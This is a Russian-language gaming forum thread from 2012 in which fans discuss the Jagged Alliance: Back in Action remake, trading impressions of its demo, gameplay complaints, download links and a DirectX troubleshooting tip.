надеемся (неуверенно), немножко ждем, }{рен купим, но скачаем и сломаем  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 22.01.2012 в 09:35:30

on 1327177604, Green Eyes wrote:
Не надеемся не ждём.  
Как же, очень ждём.  ;D
Сидим на диване, созерцаем процесс и зубоскалим.  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 23.01.2012 в 01:10:41
Разрабы нового Джа-веселые ребята.Спрашивают народ на своем форуме :"что вы хотите чтобы мы сделали в новой игре?"-и делают в точности да наоборот.Ппц,не игра а порнография намечаеться. >:(Хорошо что есть такая вещь как торенты,скачаю,ознакомлюсь,удалю и вернусь в джа2.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dimitr на 24.01.2012 в 02:56:14
давненько я не приходил :)
Ребята вы чего тут ругаетесь опять? конечно подождем и посмотрим что получится - я понимаю что шансы малы, но вдруг? :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 24.01.2012 в 06:03:11
2Dimitr:
К сожалению "а вдруг"бывает только-Пук. ;D.Недумаю что игра получиться интересной,эдакое сочетание недобригады,джаги и тактикса....без ГГ.Мдамс.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Macbeth на 24.01.2012 в 10:25:46
Мда... ролик вызывает смешанные чувства... хотя если движок можно будет подпилить... но это все равно затянется надолго...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Sir-Dorosh на 24.01.2012 в 13:20:01
2Dimitr:
Джа 2 фореве :dontpe:

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Krot на 26.01.2012 в 23:12:41
Свежее видео боевки из back in action http://www.youtube.com/watch?feature=player_embedded&v=CukqYYMyCqU

Меня в нем лично смущают три вещи:

1. Отсутствие тумана войны (ага, его убрали, но обещали может быть вернуть как опцию отдельным патчом после релиза)

2. Тупые слепые враги (возможно сказывается разница в уровнях между врагами и наемниками - как говорит комментатор в видео - наемники уже прокачанные, а враги начального уровня).

3. Мгновенное лечение: Если бы можно было вылечить жертву после зачистки карты от врагов - полностью и быстро, это было бы допустимое упрощение, на мой вкус, но прямо в бою лечиться по полной - это чересчур.

Против реалтайма с паузой я лично ничего не имею. Интересные тактические бои можно и в реалтайме с паузой сделать - я так думаю.

Разработчики намекали, что до релиза должна появиться демоверсия  в первых числах февраля - будем посмотреть...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 27.01.2012 в 00:01:09

on 1327608761, Krot wrote:
3. Мгновенное лечение: Если бы можно было вылечить жертву после зачистки карты от врагов - полностью и быстро, это было бы допустимое упрощение, на мой вкус, но прямо в бою лечиться по полной - это чересчур.
Там ещё и воскрешение убитых прямо во время боя с помощью медика имеется.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 27.01.2012 в 00:21:08

on 1327611669, RadicalRex wrote:
Там ещё и воскрешение убитых прямо во время боя с помощью медика имеется.  
А призыв на поле боя огненных/водяных/земляных/воздушных элементалей сделают?  ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 27.01.2012 в 04:52:51

on 1327612868, Lion wrote:
А призыв на поле боя огненных/водяных/земляных/воздушных элементалей сделают

ну само собой, только этот навык будет доступен,. если будешь нанимать бойцов-магов, хотя я б не советовал - сейчас модно отряд комплектовать из класса гномов и экипировать их пулеметами, прикрывая эльфами, лук с оптикой 10х - почти читерство, но игроков это не останавливает  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 28.01.2012 в 02:42:03

on 1327612868, Lion wrote:
А призыв на поле боя огненных/водяных/земляных/воздушных элементалей сделают?
- а ещё будут слоны. Обязательно будут слоны с клюшками для гольфа.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 29.01.2012 в 06:14:38

on 1327612868, Lion wrote:
А призыв на поле боя огненных/водяных/земляных/воздушных элементалей сделают?  
А также некроманты, превращающие трупы в зомби и нежить. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 29.01.2012 в 06:20:29
Это не смешно, вы ролики гляньте, там врач реально оживляет убитого наёмника.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Mex на 29.01.2012 в 08:51:37
Пичаль вобщем. Придется довольствоваться тем, что имеем на данный момент и творениями народных мастеров(Остается надеется на то, что уровень их скилла продолжит расти и в конечном итоге застремится к бесконечности).
Хотя бы по тому, что то, что показали в ролике было бы актуально года для 2003-2006, но никак не для нашего времени. В то же время тактический экран JA2 вполне себе хорош и переделывать его не имело никакого смысла. Потом тот же риалтайм, хоть он и с паузой, но это уже будет совершенно другая игра, хотя бы из за того, что вся фишка перехвата ходов и ОД(AP) канут в лету.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 31.01.2012 в 11:00:40
а я игру все равно пройду.Так как нечего большего(подобное Агоний Власти 2) не выходило.Реал тайм,ну и что.Может быть огрехи еще поправят.
Только вот интересно:фантастический режим будет?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Zed на 31.01.2012 в 11:28:27

on 1327996840, smit86 wrote:
Только вот интересно:фантастический режим будет?  

Он по-умолчанию включен, мгновенный хил и рес тому подтверждение.  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 01.02.2012 в 09:11:40
Я думаю разработчики в ближайшем патче дадут возможность "железной воли".

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 01.02.2012 в 23:53:17
http://www.playground.ru/articles/35318/ во.уже есть обзор.
интересно когда игру(торрент) в сеть выложат   ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 02.02.2012 в 04:08:22

Quote:
Demo download links (mirrors):

1)http://www.4players.de/4players.php/download_info/Downloads/Download/57397/Jagged_Alliance_Back_in_Action/Demo.html

2)http://www.patch-your-games.com/pc-demos/demo-jagged-alliance-back-in-action.html

3)http://www.patch-your-games.com/en/pc-game-demos/jagged-alliance-back-in-action-demo.html

4)http://inside-games.de/downloads/Jagged-Alliance-Back-in-Action-Demo.zip

5)http://gamezcheck.de/index.php/medien/downloads/3518-demo-jagged-alliance-back-in-action.html


Поиграл в демку, надо сказать, что ожидал я гораздо худшего. Не знаю насколько хорошо будет в релизе, но тут очень хорошая динамика, более-менее нормальный интерфейс. Конечно, есть лажовые моменты типа лечения и ремонта в бою, камера какая-то странная, но первое впечатление положительное  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 02.02.2012 в 05:45:32
2Xoxo_JI:
Ух ты.качаю демку.заинтригован.Откуда ссылки взяли если не секрет?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 02.02.2012 в 05:50:09
2PARKAN: В Steam'e разработчик выложил ссылки. Ну и на оф. форуме тоже появилась информация  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Psyho на 02.02.2012 в 05:56:02
Поставил, повоевал. Чем то e5 напоминает. Только более кривое

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Bayun на 02.02.2012 в 11:48:06
По респауну могу сказать просто - в оригинальной игре мы занимались этим сплошь и рядом и никаких вопросов не возникало - лечение наемников, мерков и ментов в состоянии Умирает. так тут тоже самое, только бейджик не вывешивается. хотя мгновенный хил в бою и правда диковато выглядит.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 02.02.2012 в 14:05:56
Одно дело перевязка умирающего, другое дело воскрешение убитого.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 02.02.2012 в 23:55:50

on 1328151362, Psyho wrote:
Только более кривое
- дык демка же.

Думаю, что мгновенный ремонт и хил не так страшны (хотя уже шутерство). С ремонтом просто - не пользоваться (сломался автомат, выкинул), с лечением сложнее. Будем думать, что пациенту вкалывают адреналинчику. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Bayun на 03.02.2012 в 05:04:01
Green Eyes. ну экспу же дают, за починку-то... как можно автомат выкинуть? кстати, прокачка сейчас забавная, Мудрость можно любым действием повышать. в теории)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.02.2012 в 05:26:52

on 1328234641, Bayun wrote:
Мудрость можно любым действием повышать. в теории)
- что, к слову как бы логично. Мудрость даже в оригинале должна была "качаться" от любого действия (причём успешного и не очень), правда качаться очень долго. Увы, но с логикой у разрабов обычно не очень (зато реализм им подавай).


on 1328234641, Bayun wrote:
как можно автомат выкинуть?
- берёшь за ствол, размахиваешься и кидаешь. Ничего сложного. А к слову, интересно, можно ли броском предмета отнять хп у врага?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 03.02.2012 в 06:03:49

on 1328236012, Green Eyes wrote:
Мудрость даже в оригинале должна была "качаться" от любого действия
Нет. http://forum.ja2.su/cgi-bin/yabb/YaBB.pl?board=gravediggers;action=display;num=1102772626;start=30#41

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.02.2012 в 06:27:37

on 1328238229, RadicalRex wrote:
Нет.
- я знаю, что нет, я говорю, что должна была. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 03.02.2012 в 09:36:41

on 1328239657, Green Eyes wrote:
я знаю, что нет, я говорю, что должна была.
Один из классических рпг-принципов: что используешь, то и качается. В JA2 он был (поэтому инту трудно было прокачать, поскоьку она мало использовалась), в римейке это принцип убрали.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 03.02.2012 в 19:21:16

on 1328251001, RadicalRex wrote:
в римейке это принцип убрали
- хоть что-то приятное. :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 01:28:59
Что в демке понравилось:
- Таки командные действия противника. К примеру, когда фраги штурмуют насиженную вами позицию, они не выбегает по одному, а вываливаются сразу толпой и периодически заходят с флангов.
- Фраги кидают гранаты, иногда очень успешно(пару раз удивляли)
- Фраги лечат друг друга не хуже чем мерки, поэтому отступивший с ранением фраг может скоро вернуться с большим числом хп.
- Нельзя сохраняться непосредственно в бою. Так что Ы/Д не канает.
- Вообще динамика процесса очень хорошая, совсем не в пример вялотекущей Е5 или 7,62. Возможно из-за более удобного интерфейса.
- Раздельный и разного вида камуфляж, т.е. пустынный камуфляж в болоте не катит и наоборот.
- Что-то еще...

Минусы:
- ИИ глуповат, хотя где его глупого только не было :)
- Разрушаемость только обозначенных мест. (В релизе будет видно, насколько всё печально)
- Лечение. Хотя опять же, после комы, мерк получает "ранение" и вместе с этим параметром теряет в навыках и очень медленно передвигается. Лечится только крутой аптечкой.
- Всего один аттач на оружие и немного не понятная ситуация с экипировкой в области головы. Что-то там намудрили.
- Фидель говорит как бомжара.
- Что-то еще...

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.02.2012 в 01:35:23

on 1328308139, Xoxo_JI wrote:
Фраги лечат друг друга не хуже чем мерки, поэтому отступивший с ранением фраг может скоро вернуться с большим числом хп.  
- большой плюс.


on 1328308139, Xoxo_JI wrote:
Раздельный и разного вида камуфляж, т.е. пустынный камуфляж в болоте не катит и наоборот.  
- иммо, микроменеджмент лишний сильно чувствую я.


on 1328308139, Xoxo_JI wrote:
Всего один аттач на оружие
- надеюсь, что это только в демке. Хотя бы как в оригинале (четыре штуки приспособлений).

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 02:20:38

on 1328308523, Green Eyes wrote:
микроменеджмент лишний сильно чувствую я.  

Вообще, инвентарь не самый очевидный. Зачем было убирать аттачи, но добавлять, например, обувь и какой-то непонятный отсек в районе плеч.  :) Хотя есть и удачные, на мой взгляд, идеи: граната занимают слот связками по три штуки. Т.е. перетаскивая гранату в руки, нет необходимости каждый раз лезть в сумку за очередной гранатой - три штуки можно кинуть непрерывно  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.02.2012 в 04:36:25

on 1328311238, Xoxo_JI wrote:
но добавлять, например, обувь
- но не босиком же ходить. ::)


on 1328311238, Xoxo_JI wrote:
и какой-то непонятный отсек в районе плеч
- может, винтовку за плечи, или нож.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 04:53:56

on 1328319385, Green Eyes wrote:
но не босиком же ходить.  
 :) Второй части как-то обходились без сапог  :)


on 1328319385, Green Eyes wrote:
может, винтовку за плечи, или нож.

Судя по размеру ячейки - какой-то девайс. Есть еще такой слот "лицо"(идет отдельным от головы), в демке из выпавших предметов получилось туда запихнуть только красивый платок  ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.02.2012 в 05:24:41

on 1328320436, Xoxo_JI wrote:
Второй части как-то обходились без сапог
- ну и русские же когда-то чистили ружья кирпичом. ;D


on 1328320436, Xoxo_JI wrote:
Судя по размеру ячейки - какой-то девайс
- хм... плащ-невидимка. :)


on 1328320436, Xoxo_JI wrote:
Есть еще такой слот "лицо"(идет отдельным от головы), в демке из выпавших предметов получилось туда запихнуть только красивый платок
- бандитос стаил? Что бы грабить караваны. :D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 06:12:43

on 1328322281, Green Eyes wrote:
плащ-невидимка

Кстате, возможно и вправду маскхалат  :)

http://s018.radikal.ru/i511/1202/a2/1c1e06b1f381.jpg
Фидель в платке грозно смотрит на Драню.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.02.2012 в 06:18:24
2Xoxo_JI: А чего он в платке? Фи....ный что ли? ;D

Графа ничего так. Сильно ли тормозит?

Так из UI:
Вернулись к вертикальному расположению портретов.
Видно какие, и сколько пуль в автомате.

Серое пространство лучше бы сделали полностью прозрачным (напрягает).
Миникарта неудобная (маленькая). Толку от неё, как и  во второй части. Хотя после миникарты из Оил Раш мне все остальные будут казаться неудобными и не информативными.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 06:40:56

on 1328325504, Green Eyes wrote:
А чего он в платке? Фи....ный что ли?

Модный сильно  8)

on 1328325504, Green Eyes wrote:
Графа ничего так. Сильно ли тормозит?

У меня шустро работает. Бывает в конкретном месте провал по FPS, но не критичный. Думаю в первом патче должны поправить.

on 1328325504, Green Eyes wrote:
Серое пространство лучше бы сделали полностью прозрачным (напрягает).  

На максимальном отдалении меньше дискомфорта. А вот миникарта - да, по ней почти ничего не определить. Единственная польза - это отображение фрагов на шухере. В отличии от обычных они мигают.  :)
Еще на карте в виде зеленых/красных кружков обозначены, типа стратегические зоны. Значение я их не понял, но есть подозрение, что сектор будет считаться зачищенным именно по захваченным точкам, а не по трупам врагов. Хотя это так, догадка  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 04.02.2012 в 07:16:22
Ну вот.Наконец после 3-ей попытки прошел я дем..эм миссию в демо.Игра понравилась.
ИИ удивил,более сложный чем в оригинале,действуют умно.
Режим паузы-интересная задумка,сложно брать здания.
Еще понравилось то что в одним наёмником будет очень сложно проходить,забьют сразу же.
Если вспомнить,в агонии власти 2 можно было пройти одним мерком,а тут такой номер не пройдет.Минусы до меня написали.
В полной версий своего персонажа можно будет сделать?

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.02.2012 в 07:22:46
Господа, помогите, пожалуйста.
Скачал демку, сделал полную установку с английским спичем. Не запускается, пишет, что нет файла d3dx9_40.dll. Кто-нибудь знает, где он должен быть/откуда его брать?
Заранее благодарю.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 04.02.2012 в 07:43:17
Lion во: http://www.google.ru/#sclient=psy-ab&hl=ru&newwindow=1&source=hp&q=d3dx9_40.dll.&pbx=1&oq=d3dx9_40.dll.&aq=f&aqi=g2g-C1&aql=&gs_sm=e&gs_upl=509l509l0l1719l1l1l0l0l0l0l78l78l1l1l0&bav=on.2,or.r_gc.r_pw.,cf.osb&fp=1947d98aa59fc7d7&biw=939&bih=862
куда скинуть,думаю разберётесь  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.02.2012 в 08:03:34
2smit86: Спасибо, как же я сам до этого не додумался.  ::)
Теперь работает.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 08:12:32

on 1328328982, smit86 wrote:
В полной версий своего персонажа можно будет сделать?
Говорят что нет  :(

Может и глупо, но, впечатленный демкой, сделал предзаказ  :)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем smit86 на 04.02.2012 в 09:08:43
Xoxo_JI   >:(жалко что если так и будет.это было одной из главной фичей агонии власти 2

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 04.02.2012 в 12:32:07

on 1328329366, Lion wrote:
Не запускается, пишет, что нет файла d3dx9_40.dll
Типичная проблема. У вас на семёрке дефолтный DirectX 10 стоит, а более ранний DirectX 9.0c - нет. Качайте http://www.microsoft.com/download/en/details.aspx?id=8109

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Romm70 на 04.02.2012 в 19:25:46
Я думал, там будет тяп-ляп, всех победил-расстрелял. А фигушки, валят с вышки, не встать... Только дымовуха дает передохнуть. Вообще, понравилось, как гранаты работают. И сложность на уровне.
Кто-то где-то писал, будто наемники бессмертны... Это не так, у меня умирают с концами, если не перевязать.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.02.2012 в 21:07:07

on 1328347927, RadicalRex wrote:
У вас на семёрке дефолтный DirectX 10 стоит
У меня на XP та же проблема была. Теперь по сути.
Не скажу, что разочарован - я от игры ничего не ждал. Я просто удивлён.
1. Дэнни - криворукий олух, у меня Рысь воскрес, но не до конца, здоровье до максимума не поднялось.
[offtop]
on 1328372746, Romm70 wrote:
Это не так, у меня умирают с концами, если не перевязать.  
Используйте большую аптечку на труп.[/offtop]
2. Системы аттачей нет вообще.  :o Оптический прицел живёт в своей ячейке отдельно от винтовки, убираем винтовку - прицел остаётся на месте, таким образом при смене винтовки прицел моментально перекочёвывает к новой.
3. Кажется, немцы не знают, что оружие может быть в заряженном виде.  ::) Я не понял, зачем при помещение винтовки в рюкзак из неё вынимают все патроны  :o, а потом их надо заряжать обратно. [offtop]Теперь представьте снайпера, к которому уже очень близко подкрались.
В нормальной ситуации:
    Снайпер закидывает винтовку.
    Достаёт пистолет
    Стреляет
У нас
    Снайпер разряжает винтовку
    Убирает винтовку
    Достаёт пистолет
    Заряжает пистолет
   Стреляет.
Разница есть.[/offtop]
4. Есть проблема с расходными материалами, немцы не знают разницы между машиной, поцарапанной отлетевшим камешком, и машиной, влетевшей в бетонную стену на 200 км/час - ремонт требует одинакового количества запчастей.  ::)
В нашем случае, мерк с царапиной на 1 хр и труп, получивший связку гранат и рану на 300 хр, нуждаются в одинаковом количестве лекарств.
5. Отмычки одноразовые.  :o
6. Винтовка занимает одну руку, нельзя стрелять с двух рук, ремонт/лечение проводятся левой рукой.

7. Тупой, слепой, глухой враг. Я как-то зазевался и не нажал пробел, чтоб отдать приказ стрелять - враг прошёл в метре от Мага, не заметил его и ушёл дальше, а потом получил очередь в спину.
8. Реалтайм сильно приближает игру к стрелялке - надо быстро и вовремя жать на пробел.
9. Я не понимаю, почему камеру нельзя двигать мышкой, наведённой на край экрана, ДЖАЗ тоже был в 3Д, но камера там двигалась удобней.  ::)
10. Карты очень большие, всегда можно обойти врагов.
11. Визуально накручено, но как то не очень приятно воспринимается.
12. Зачем мне паук (живой, с восемью лапками) и внушительных размеров таракан?
....

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Dredd21 на 04.02.2012 в 22:18:55
М.б. прошляпил, но фан мерч появился в продаже http://jaggedalliance.spreadshirt.com/
Демку не качал, буду бокс брать. Или что там у нас максимальное будет в продаже..

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 04.02.2012 в 22:31:02

on 1328335723, smit86 wrote:
жалко что если так и будет.это было одной из главной фичей агонии власти 2

Разрабы на форуме сказали, что возможно в будущем появится такая опция. Вероятно будут делать аддон или DLC.

on 1328378827, Lion wrote:
Системы аттачей нет вообще.  

Неправда, 1 слот под аттач. Прицел можно оттуда снять и повесить, например, глушитель.

on 1328378827, Lion wrote:
Я не понял, зачем при помещение винтовки в рюкзак из неё вынимают все патроны

Я так понимаю, это своего рода штраф на пользование инветарем. Чтобы оружие туда-сюда не тусовали, как в оригинальной JA.

on 1328378827, Lion wrote:
6.  
Удобно, не заходя в инветарь, есть быстрый слот.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 04.02.2012 в 22:38:09

on 1328383862, Xoxo_JI wrote:
Я так понимаю, это своего рода штраф на пользование инветарем.
- это они плохо сделали.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Lion на 04.02.2012 в 23:12:19

on 1328383862, Xoxo_JI wrote:
Неправда, 1 слот под аттач.
Только он не аттачится к винтовке/пистолету, а живёт сам по себе, винтовку можно убрать, а прицел в своём слоте над правой рукой так и останется, сам по себе.  8)
[offtop]
on 1328383862, Xoxo_JI wrote:
Прицел можно оттуда снять и повесить
Только винтовка для этого не нужна, это не аттач, а, скорее, отдельное приспособление, как ПНВ в оригинале.[/offtop]

on 1328383862, Xoxo_JI wrote:
Я так понимаю, это своего рода штраф на пользование инветарем.
Или это от неумения/нежелания сделать патроны в оружие, а не в отдельном слоте.  ::) Можно ведь было тратить время на смену оружия - было бы желание.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 00:03:04
В целом демка понравилась (качал через стим, в выборе только русский язык), сделал предзаказ игры.
Инвентарь не самый удобный, теперь есть слоты головы, лица, бронежилета, майки-куртки, штанов и ботинок. В слот головы ставится или шлем или уши. На лицо маска, очки, противогаз. На Маге в демке был шлем со втроенным прибором ночного видения, о ум еня появилось ощущение, что это просто для красоты. Ночь не темная, враги на карте не скрыты.
есть 4 вида камо: лесной, пустынный, городской, ночной. Как он работает непонятно.
С оружием все плохо: оно имеет всего один слот под атачи и разряжается как только убираешь его в инвентарь. Ломается достаточно быстро. Ручной гранатомет М79 стреляет ракетами. СВД стреляет калибром 7.62х39. Как и в оригинале пистолетный калибр применять бессмысленно к середине игры, учитывая, что в демке Орта, пистолеты вышибают из противника по -1 НР, как и дробовик.
Если здоровье снизится до нуля, наемник впадает в кому, в этом состоянии он становится неуязвимым для любых типов повреждений (на нем можно взорвать хоть ядрену бомбу, один фиг не умрет). При коме есть около минуты, до того как его смогут перевязать, но здоровье восполниться не до конца, его можно будет восстановить на стратегической карте.
Газ из газовых гранат не виден, персонаж вошедший в облако получает -1 нр каждые 0,5 секунды.
По поводу ремонта, отмычек, гранат, взрывчатки написали выше.
Боевые дествия.
На средних дистанциях: расставляем наемников, включаем режим гвард, смотрим за боем и время от времени вмешиваемся, назначая цели вручную.
на больших дистанциях: выбираем снайпера, пробел, три клика по голове противника, пробел, смотрим, повторяем.
на ближних дистанциях бой ведется исключительно с применением пробела, особенно при штурмовке.
Наемники, при переезде из Канады в Германию, растеряли всю свою харизму, пластиковые болванчики блин. (
В игре есть изображение женских молочных желез.
[offtop]
http://img-fotki.yandex.ru/get/4401/11452998.1/0_6ac09_eb444c8a_orig
http://img-fotki.yandex.ru/get/4702/11452998.1/0_6ac0a_e2024c1_orig
[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.02.2012 в 00:31:05
Млин, и ещё кошки во львов превратились.


on 1328389384, kaa wrote:
Как и в оригинале пистолетный калибр применять бессмысленно к середине игры, учитывая, что в демке Орта, пистолеты вышибают из противника по -1 НР, как и дробовик.  
- опять триста двадцать пять. В ДЖАЗ я из-за этого и не стал играть (а править невозможно).


on 1328389384, kaa wrote:
В игре есть изображение женских молочных желез.  
- [offtop]требую картинок с сиськами! :devil:[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 00:37:03
Картинка есть, смотри внимательнее.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 05.02.2012 в 01:10:34

on 1328391423, kaa wrote:
Картинка есть, смотри внимательнее.
- [offtop]э-э-э, низачет, не видно же ни фига. ;D[/offtop]

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 01:24:15
Держи прямую ссылку, если открыть картинку не догадался.
http://img-fotki.yandex.ru/get/4702/11452998.1/0_6ac0a_e2024c1_orig
Сшг теперь полностью отключает управление наемником на десяток секунд, при этом он остается стоять на ногах 8(. У меня такое чувство, что демка была запилена на стабильной бета сборке.
В локализованной версии у АУГа в описании не указан тип используемых б\п, просьба посмотреть как на английской версии.

Кстате мануал http://cdn.steampowered.com/Manuals/57740/JABiA_Manual_EN_US_2012_01_04_preview.pdf?t=1326137680

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 05.02.2012 в 01:34:43

on 1328394255, kaa wrote:
просьба посмотреть как на английской версии

В английской версии присутствует.

Кстати, простреливаемость стены сохранена, правда не всегда понятно какие можно прострелить, а какие нет

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 01:38:08
Если противник стоит у окна в здании, то снаружи в него прицелиться нельзя, только если завести другого наемника в это же здание.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 05.02.2012 в 01:40:28
2kaa: с помощью F частично решается эта проблема

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 01:48:17
Так можно и просто в оружие ткнуть и стрелять по площади, только, что в твоем случае, что в моем точность близка к нулю.
Чето я не понимаю, из положения лежа можнос стрелять только одиночными? оО

На оффоруме отожгли с багом связанным с атачами, т.е. на любое оружие можно было повесить атач, даже не подходящий.
http://www.weirdsnaps.com/wp-content/uploads/2011/12/Made-in-China.jpg

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 05.02.2012 в 02:22:22
2kaa: Нет, очередями тоже можно

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Kestrel на 05.02.2012 в 02:51:14
Что-то мне управление камерой очень не понравилось. Еще я не понял почему нет команды стреляй пока враг не умрет? В смысле наемникам всегда нужно после каждого выстрела повторять приказы, иначе они стоят как вкопанные.
Выпадение предметов как в оригинальной джа? Пичалька........ :( Перебил отряд врага. Думал,ща затарюсь АК, а хрен тебе........... одни патроны.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 02:56:53
Включи режим охраны, чтобы наемники стреляли до победного.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем RadicalRex на 05.02.2012 в 03:30:59

on 1328378827, Lion wrote:
У меня на XP та же проблема была.
В каком году вышла XP, а в каком апдейт директикса?
Я на XP этот апдейт за июнь 2010 г. ставил, файл d3dx9_40.dll у меня есть. ;)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 03:34:52
В апреле-мае 2010 последний апдейт ДиректХ 9.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 05.02.2012 в 05:23:50
Почитал оф форум щас и был удивлен,народ успел распаковать кое-какие файлы и сделать 1 мод.и это они сделали с демкой.Порой я даже удивляюсь этому. ;D

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем kaa на 05.02.2012 в 05:27:02
А чему удивляться, они изменили ресурсы, а не исполняемый модуль.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Xoxo_JI на 05.02.2012 в 06:09:51
2PARKAN: что-то не вижу, дай ссылку на тему, пжлста

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 05.02.2012 в 06:13:06
Не понятно зачем разработчики выпустили дему, ведь для того чтобы получить впечатление от игры достаточно завалиться в большой мебельный магазин, привязать на глаза бинокли и устроить игру в догонялки - ощущение что вокруг что-то происходит, но ничего не видно, попытки нашарить это через "глазок", битие башкой о стол, падения, раздражение...

Подумать только, такая мелочь как отсутствие пошаговки в бою обрекла разрабов на полный фэйл.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем PARKAN на 05.02.2012 в 07:03:20
2Xoxo_JI:
http://boards.jaggedalliance.com/index.php?/topic/320-modding/page__st__40   Вот в этой теме.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем desants на 06.02.2012 в 06:28:51
Насчет микроменеджмента, то есть микроопеки. Соглашусь.
Не хватает вариантов команд. Защита не все решает.
Удивило 1,82 сек. на выстрел из положения на изготовку с расстояния 1,5 метра. Если уж зацеливаешь (хотя здесь такого и нет :)), то стреляй быстрее.

2kaa: СВД стреляет калибром 7.62х39 - что-то не обратил внимания, по крайней мере на рисунке- рантовые патроны "Варшавского договора".

Встретил бажок или глючок - примерно один раз из десяти, после раздачи команд и перехода в риалтайм, наемники стоят без движения. Лечится отменой всего и перераздачей приказов, что достает.

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем bugmonster на 06.02.2012 в 20:00:23
2desants: Посмотри описание, это даже не СВД, это Друганов.
*тактически фейспалмирую*

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем Green Eyes на 06.02.2012 в 20:06:54

on 1328547623, bugmonster wrote:
Посмотри описание, это даже не СВД, это Друганов.
- гангстерский СВД? ::)

Заголовок: Re: Jaggёd Alliancё 3
Прислано пользователем KombaT на 06.02.2012 в 20:52:27

on 1328547623, bugmonster wrote:
Друганов

;D ядрёна матрена  ;D
